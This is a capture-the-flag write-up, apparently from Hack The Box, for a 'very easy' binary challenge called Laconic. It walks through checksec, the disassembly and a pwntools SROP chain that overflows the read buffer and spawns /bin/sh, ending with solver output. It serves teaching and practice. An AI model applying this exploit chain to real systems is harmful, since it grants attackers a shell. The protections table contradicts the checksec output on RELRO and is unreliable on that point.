Laconic

26th Dec 2024

Prepared By: w3th4nds

Challenge Author(s): w3th4nds

Difficulty: Very Easy

Classification: Official

Synopsis

Laconic is a easy easy difficulty challenge that features `SROP`.

Description

Sir Alaric's struggles have plunged him into a deep and overwhelming sadness, leaving him unwilling to speak to anyone. Can you find a way to lift his spirits and bring back his courage?

Skills Required

- Basic Assembly.

Skills Learned

- SROP

Enumeration

First of all, we start with a `checksec`:

```
pwndbg> checksec
Arch:       amd64
RELRO:      No RELRO
Stack:      No canary found
NX:         NX unknown - GNU_STACK missing
PIE:        No PIE (0x42000)
Stack:      Executable
RWX:        Has RWX segments
Stripped:   No
```

Protections 🛡️

As we can see, all protection are disabled and the binary has `RWX` segments:

Protection	Enabled	Usage
Canary	❌	Prevents **Buffer Overflows**
NX	❌	Disables **code execution** on stack
PIE	❌	Randomizes the **base address** of the binary
RelRO	**Full**	Makes some binary sections **read-only**

The program has no interface, so we head into the disassembly right away.

Disassembly

Starting with `_start()`:

```
 ► 0x43000 <_start>       mov    rdi, 0                RDI => 0
   0x43007 <_start+7>     mov    rsi, rsp              RSI => 0x7fffffffde50 ◂— 1
   0x4300a <_start+10>    sub    rsi, 8                RSI => 0x7fffffffde48
(0x7fffffffde50 - 0x8)
   0x4300e <_start+14>    mov    rdx, 0x106            RDX => 0x106
   0x43015 <_start+21>    syscall  <SYS_read>
   0x43017 <_start+23>    ret

   0x43018 <_start+24>    pop    rax
   0x43019 <_start+25>    ret
```

That's the whole binary, we see there is a huge buffer overflow at `SYS_read` because `rdx` reads up to `0x106` bytes. Luckily, we have a `pop rax` gadget, making it easy to perform SROP. First of all, we need to find a possible `/bin/sh` address.

```
pwndbg> find 0x43000, 0x43900, "/bin/sh"
0x43238
1 pattern found.
pwndbg> x/s 0x43238
0x43238:  "/bin/sh"
```

Now that we have this, we can craft the `SROP` chain.

```
# Srop
frame     = SigreturnFrame()
frame.rax = 0x3b            # syscall number for execve
frame.rdi = binsh           # pointer to /bin/sh
frame.rsi = 0x0             # NULL
frame.rdx = 0x0             # NULL
frame.rip = rop.syscall[0]
```

After crafting the `frame`, we send the payload to trigger the vulnerability and get shell.

```
pl  = b'w3th4nds'
pl += p64(rop.rax[0])
pl += p64(0xf)
pl += p64(rop.syscall[0])
pl += bytes(frame)
```

```
Running solver remotely at 0.0.0.0 1337

[*] Gadgets:
        pop rax: 0x43018
        syscall: 0x43015
        /bin/sh: 0x43238

[*] Sedning SROP chain..

[+] Done!

Flag -> HTB{XXX}
```